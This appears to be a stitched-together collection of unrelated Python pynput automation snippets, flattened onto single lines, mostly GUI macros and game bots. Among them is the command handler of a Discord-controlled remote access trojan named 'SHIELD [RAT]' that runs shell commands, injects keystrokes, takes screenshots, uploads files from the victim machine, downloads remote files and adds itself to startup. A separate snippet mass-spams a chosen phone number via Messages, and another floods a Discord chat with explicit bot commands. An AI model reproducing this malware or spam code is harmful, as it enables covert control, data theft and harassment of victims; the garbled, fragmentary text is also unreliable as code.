def myMainEvent(): from pynput.keyboard import Controller, Key import time keyboard = Controller() if Status.my_current_loop == 0: with keyboard.pressed(Key.alt): keyboard.press(Key.tab) keyboard.release(Key.tab) time.sleep(0.2) # Delays for 5 seconds. You can also use a float value. ''' This is infinite loop. The index of loop will start from 0. It means the Status.my_current_loop == 0 as above code. ''' if Status.my_current_loop < 16: keyboard.type(",\"") keyboard.press(Key.end) keyboard.release(Key.end) keyboard.type("\"") keyboard.press(Key.down) keyboard.release(Key.down) keyboard.press(Key.home) keyboard.release(Key.home) ''' with keyboard .pressed(Key.ctrl): keyboard.press('v') keyboard.release('v') ''' Status.my_current_loop = Status.my_current_loop + 1
def one_round_map(dirname): ckck(1382, 435) ckck(1519, 728) ckck(1878, 580) keyboard.type( 'C:\\Users\\Dadada\\Documents\\wgeWorldHistory\\DataPre-processing\\map\\allOKmaps\\' + dirname + 'map.png') time.sleep(2) ckck(1800, 740) ckck(1648, 644) ckck(1880, 572) ckck(1796, 746) ckck(1656, 643) ckck(1523, 604) ckck(1970, 1069) ckck(1626, 715) ckck(1626, 715) ckck(1946, 1078) keyboard.type( 'C:\\Users\\Dadada\\Documents\\wgeWorldHistory\\DataPre-processing\\map\\mapball\\' + dirname) time.sleep(2) ckck(1069, 549) ckck(1865, 577) time.sleep(20) ckck(1848, 1081) ckck(1849, 1070) ckck(1177, 1006) ckck(1193, 992) ckck(1797, 1067)
def on_press(self, key): #keyboard.type('test') if key == keyboard.Key.up: keyboard.type('UP\n') self._cmdHistoryIndex -= 1 elif key == keyboard.Key.down: keyboard.type('DOWN\n') self._cmdHistoryIndex += 1 if self._cmdHistoryIndex < 0: self._cmdHistoryIndex == 0 elif self._cmdHistoryIndex > (len(self._cmdHistory) - 1): self._cmdHistoryIndex = len(self._cmdHistory) - 1 return
def write(self, text): if text == "%{TAB}": with keyboard.pressed(key.alt): keyboard.press(key.tab) keyboard.release(key.tab) elif text == "%{TAB 2}": with keyboard.pressed(key.alt): keyboard.press(key.tab) keyboard.release(key.tab) time.sleep(0.1) keyboard.press(key.tab) keyboard.release(key.tab) elif text == "%{TAB 3}": with keyboard.pressed(key.alt): keyboard.press(key.tab) keyboard.release(key.tab) time.sleep(0.1) keyboard.press(key.tab) keyboard.release(key.tab) time.sleep(0.1) keyboard.press(key.tab) keyboard.release(key.tab) elif text == "%T": with keyboard.pressed(key.alt): keyboard.type("T") elif text == "{DOWN}": keyboard.press(key.down) keyboard.release(key.down) elif text == "{ESC}": keyboard.press(key.esc) keyboard.release(key.esc) elif text == "{F5}": #with keyboard.pressed(key.alt): keyboard.press(key.f5) keyboard.release(key.f5) elif text == "{ENTER}": #with keyboard.pressed(key.alt): keyboard.press(key.enter) keyboard.release(key.enter) else: keyboard.type(text)
cv2.waitKey(0) cv2.destroyAllWindows() return count while (1): print(mouse.position) lista = open('lista.txt', 'r').read() lista2f = open('lista2.txt', 'a') lista2 = [] for x in lista.split('\n'): print(x) mouse.position = (750, 750) mouse.press(pynput.mouse.Button.left) time.sleep(0.03 + 0.02 * random.random()) mouse.release(pynput.mouse.Button.left) time.sleep(0.07 + 0.03 * random.random()) mouse.press(pynput.mouse.Button.left) time.sleep(0.03 + 0.02 * random.random()) mouse.release(pynput.mouse.Button.left) time.sleep(0.07 + 0.03 * random.random()) mouse.press(pynput.mouse.Button.left) time.sleep(0.03 + 0.02 * random.random()) mouse.release(pynput.mouse.Button.left) time.sleep(0.3 + 0.1 * random.random()) keyboard.type(x) time.sleep(1 + 0.1 * random.random()) lista2.append(find()) lista2f.write(str(lista2[len(lista2) - 1]) + '\n') print(lista2[len(lista2) - 1])
from pynput import keyboard, mouse from pynput.keyboard import Key import time keyboard = keyboard.Controller() mouseC = mouse.Controller() wait = 0.1 mouseC.click(mouse.Button.left) for i in range(100): keyboard.type(str(i)) time.sleep(0.01) keyboard.press(Key.enter)
keyboard = pynput.keyboard.Controller() mouse = pynput.mouse.Controller() #while(1): print(mouse.position) lista = open('listanov.txt', 'r').read() l = lista.split('\n') for null in l: print(null) time.sleep(0.03 + 0.02 * random.random()) mouse.release(pynput.mouse.Button.left) time.sleep(0.03 + 0.02 * random.random()) mouse.press(pynput.mouse.Button.left) time.sleep(0.03 + 0.02 * random.random()) mouse.release(pynput.mouse.Button.left) time.sleep(0.03 + 0.02 * random.random()) mouse.press(pynput.mouse.Button.left) time.sleep(0.03 + 0.02 * random.random()) mouse.release(pynput.mouse.Button.left) time.sleep(0.05 + 0.02 * random.random()) keyboard.type(null.split(' -')[0]) time.sleep(1.5 + 0.1 * random.random()) mouse.position = (1600, 120) mouse.press(pynput.mouse.Button.left) time.sleep(0.05 + 0.02 * random.random()) mouse.release(pynput.mouse.Button.left) time.sleep(0.05 + 0.02 * random.random()) mouse.press(pynput.mouse.Button.left) time.sleep(0.03 + 0.02 * random.random()) mouse.release(pynput.mouse.Button.left) time.sleep(0.03 + 0.02 * random.random()) time.sleep(0.3)
from pynput import keyboard, mouse from pynput.keyboard import Key import time keyboard = keyboard.Controller() mouse = mouse.Controller() wait = 0.1 keyboard.press(Key.cmd) keyboard.press(Key.space) keyboard.release(Key.cmd) keyboard.release(Key.space) time.sleep(wait) keyboard.type("terminal") time.sleep(wait) keyboard.press(Key.enter) time.sleep(wait) keyboard.type("cd ~/Desktop/Python\ for\ fun~/fun/") time.sleep(wait) keyboard.press(Key.enter) time.sleep(wait) keyboard.type("Python MouseTesting.py") time.sleep(wait) keyboard.press(Key.enter) keyboard.release(Key.enter)
import numpy as np from PIL import ImageGrab import time img = np.array(ImageGrab.grab(bbox=(750, 854, 1150, 868))) img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) import pynput.keyboard keyboard = pynput.keyboard.Controller() keys = ['', '', '', ''] while (1): img2 = np.array(ImageGrab.grab(bbox=(750, 854, 1150, 868))) img2 = cv2.cvtColor(img2, cv2.COLOR_BGR2GRAY) #cv2.imshow('',img2) #cv2.imwrite('a.png',img2) #cv2.waitKey(1) key = '' #print(n) if 69 in np.where(img2 == 255)[1]: key = key + 'a' if 132 in np.where(img2 == 255)[1]: key = key + 's' if 197 in np.where(img2 == 255)[1]: key = key + 'j' if 266 in np.where(img2 == 255)[1]: key = key + 'k' if 329 in np.where(img2 == 255)[1]: key = key + 'l' keys = keys + [key] if keys[0] != 'asjkl': keyboard.type(keys[0]) keys.pop(0) print(keys)
import time from pynput import keyboard from pynput.keyboard import Key, Controller keyboard = Controller() i = 1 while i < 999: time.sleep(3) keyboard.type('pls porngif') keyboard.press(Key.enter) keyboard.release(Key.enter) time.sleep(3) keyboard.type('pls boobies') keyboard.press(Key.enter) keyboard.release(Key.enter) ## keyboard.type('@everyone') ## keyboard.press(Key.enter) ## keyboard.release(Key.enter) ## time.sleep(0.5)
with keyboard.Listener(on_press=on_press, on_release=on_release) as listener: listener.join() # ...or, in a non-blocking fashion: listener = keyboard.Listener(on_press=on_press, on_release=on_release) listener.start() from pynput.keyboard import Key, Controller keyboard = Controller() # Press and release space keyboard.press(Key.space) keyboard.release(Key.space) # Type a lower case A; this will work even if no key on the # physical keyboard is labelled 'A' keyboard.press('a') keyboard.release('a') # Type two upper case As keyboard.press('A') keyboard.release('A') with keyboard.pressed(Key.shift): keyboard.press('a') keyboard.release('a') # Type 'Hello World' using the shortcut type method keyboard.type('Hello World')
img2 = cv2.cvtColor(img2, cv2.COLOR_BGR2GRAY) key = '' if 10 in np.where(img2 == 255)[1]: key = key + 'a' if 43 in np.where(img2 == 255)[1]: key = key + 's' if 77 in np.where(img2 == 255)[1]: key = key + 'j' if 115 in np.where(img2 == 255)[1]: key = key + 'k' if 147 in np.where(img2 == 255)[1]: key = key + 'l' keys = keys + [key] b += 1 key = '' if b % 4 == 0: if 'a' in keys[0] or 'a' in keys[1]: key += 'a' if 's' in keys[0] or 's' in keys[1]: key += 's' if 'j' in keys[0] or 'j' in keys[1]: key += 'j' if 'k' in keys[0] or 'k' in keys[1]: key += 'k' if 'l' in keys[0] or 'l' in keys[1]: key += 'l' if key != '' and key != 'asjkl': keyboard.type(key) keys.pop(0) #10 erradas 5 perdidas #print(keys)
async def on_message(message): print(str(message.content.strip())) if message.attachments: print(message.attachments) if message.author == client.user: return elif str(message.content.strip()) == 'help': await message.channel.send(banner) elif str(message.content.strip()) == 'author': await message.channel.send('Cyr0_warrior the author of SHIELD [RAT]') elif 'keystroke' in message.content: keyboard.type(message.content.replace('keystroke', '')) await message.channel.send('Injected Succesfully....') elif str(message.content.strip()) == 'shutdown': intr('shutdown /s') await message.channel.send('Shutdown Signal Sended...!!') elif str(message.content.strip()) == 'lock': ctypes.windll.user32.LockWorkStation() await message.channel.send('locked successfully...') elif 'sendmsg' in message.content : i = message.content.replace('sendmsg', '') ctypes.windll.user32.MessageBoxW(0, i, "SHIELD RAT", 0) elif str(message.content.strip()) == 'tasklist': cmd=intr('wmic process get description') f = open(r'C:\Windows\Temp\task.txt', 'w') f.write(cmd.decode('utf-8').strip()) f.close() with open(r'C:\Windows\Temp\task.txt', 'r') as file: msg = file.read(2000).strip() while len(msg) > 0: await message.channel.send(msg) msg = file.read(2000).strip() open(r'C:\Windows\Temp\task.txt', 'w').close() elif 'taskkill' in message.content: cr = message.content.replace('taskkill', '') try: j=intr(f'TASKKILL /F /IM {cr}') await message.channel.send(j.decode()) except: await message.channel.send('invalid process') elif str(message.content.strip()) == 'sysinfo': await message.channel.send(sysinfo) elif str(message.content.strip()) == 'screenshot': code = random.randint(999, 9999) path = resource_path('printscreen.exe') print(path) intr(fr'{path} > C:\Windows\Temp\{code}.jpg') await message.channel.send(file=discord.File(fr'C:\Windows\Temp\{code}.jpg')) os.remove(fr'C:\Windows\Temp\{code}.jpg') elif str(message.content.strip()) == 'copytostartup': add_to() await message.channel.send('Payload added to startup...') elif str(message.content.strip()) == 'beep': frequency = 9000 duration = 1000 winsound.Beep(frequency, duration) await message.channel.send('beeped successfully...') elif str(message.content.strip()) == 'upload': i=message.content.replace('upload', '') try: await message.channel.send(file=discord.File(i.strip())) except Exception as e: if 'Payload Too Large' in str(e): await message.channel.send('the file selected is too large to send from discord') else: await message.channel.send(str(e)) elif 'find' in message.content: i=message.content.replace('find', '') await message.channel.send(find(i.strip(), os.getcwd())) elif 'download' in message.content: try: i=message.content.replace('download', '') outfile=i.split('/')[len(i.split('/'))-1] r = requests.get(i) f = open(fr'C:\Windows\Temp\{outfile}', 'wb') f.write(r.content) f.close() await message.channel.send('download successfully to the server named: '+str(outfile)) except Exception as e: await message.channel.send(str(e)) elif str(message.content.strip()) == 'shell': try: out = intr(message.content.replace('shell', '')) f = open(r'C:\Windows\Temp\task.txt', 'w') f.write(out.decode().strip()) f.close() with open(r'C:\Windows\Temp\task.txt', 'r') as file: msg = file.read(2000).strip() while len(msg) > 0: await message.channel.send(msg.strip()) msg = file.read(2000).strip() open(r'C:\Windows\Temp\task.txt', 'w').close() except Exception as e: await message.channel.send('COMMAND RETURN TO ERROR') elif str(message.content.strip()) == 'enabletaskbar': unhide_taskbar() await message.channel.send('Taskbar Enabled...') elif str(message.content.strip()) == 'disabletaskbar': hide_taskbar() await message.channel.send('Taskbar Disabled...')
number = raw_input() print("Now type in the message you want to spam") message = raw_input() print("Finally put in how many times you would like to spam them") spam = raw_input() spam = int(spam) # opens messages and starts spam subprocess.call(["/usr/bin/open", "/System/Applications/Messages.app"]) time.sleep(3) keyboard.press(Key.cmd) keyboard.press('n') keyboard.release(Key.cmd) keyboard.release('n') time.sleep(3) keyboard.type(number) keyboard.press(Key.enter) keyboard.release(Key.enter) time.sleep(1) for x in range(spam): keyboard.type(message) keyboard.press(Key.enter) keyboard.release(Key.enter) time.sleep(4) print("The spam is complete")
import time import pynput.mouse import pynput.keyboard keyboard = pynput.keyboard.Controller() mouse = pynput.mouse.Controller() #while(1): print(mouse.position) mouse.position = (85, 285) mouse.press(pynput.mouse.Button.left) time.sleep(0.03 + 0.02 * random.random()) mouse.release(pynput.mouse.Button.left) time.sleep(0.07 + 0.03 * random.random()) mouse.press(pynput.mouse.Button.left) time.sleep(0.03 + 0.02 * random.random()) mouse.release(pynput.mouse.Button.left) time.sleep(0.07 + 0.03 * random.random()) mouse.press(pynput.mouse.Button.left) time.sleep(0.03 + 0.02 * random.random()) mouse.release(pynput.mouse.Button.left) time.sleep(0.3 + 0.01 * random.random()) keyboard.type('coquille de submerge') time.sleep(2) mouse.position = (300, 305) time.sleep(0.1 + 0.01 * random.random()) mouse.press(pynput.mouse.Button.left) time.sleep(0.1 + 0.01 * random.random()) mouse.release(pynput.mouse.Button.left) time.sleep(1) img_bgr = np.array(ImageGrab.grab(bbox=(375, 325, 675, 437))) img_gray = cv2.cvtColor(img_bgr, cv2.COLOR_BGR2GRAY) cv2.imwrite('{}.png'.format(null), img_gray)
keyboard = pynput.keyboard.Controller() mouse = pynput.mouse.Controller() a = open('names.txt', 'r').read() b = open('qtd.txt', 'r').read() c = open('listacompleta.txt', 'a') l1 = a.split('\n') l2 = b.split('\n') for i in range(len(l1)): mouse.position = (1317, 274) mouse.press(pynput.mouse.Button.left) time.sleep(0.03 + 0.02 * random.random()) mouse.release(pynput.mouse.Button.left) time.sleep(0.07 + 0.03 * random.random()) mouse.press(pynput.mouse.Button.left) time.sleep(0.03 + 0.02 * random.random()) mouse.release(pynput.mouse.Button.left) time.sleep(0.07 + 0.03 * random.random()) mouse.press(pynput.mouse.Button.left) time.sleep(0.03 + 0.02 * random.random()) mouse.release(pynput.mouse.Button.left) time.sleep(0.3 + 0.1 * random.random()) keyboard.type(l1[i]) time.sleep(1 + 0.1 * random.random()) print(int(l2[i])) for j in range(int(l2[i])): print(l1[i]) time.sleep(0.8) mouse.position = (1855, 415) mouse.press(pynput.mouse.Button.left) mouse.release(pynput.mouse.Button.left)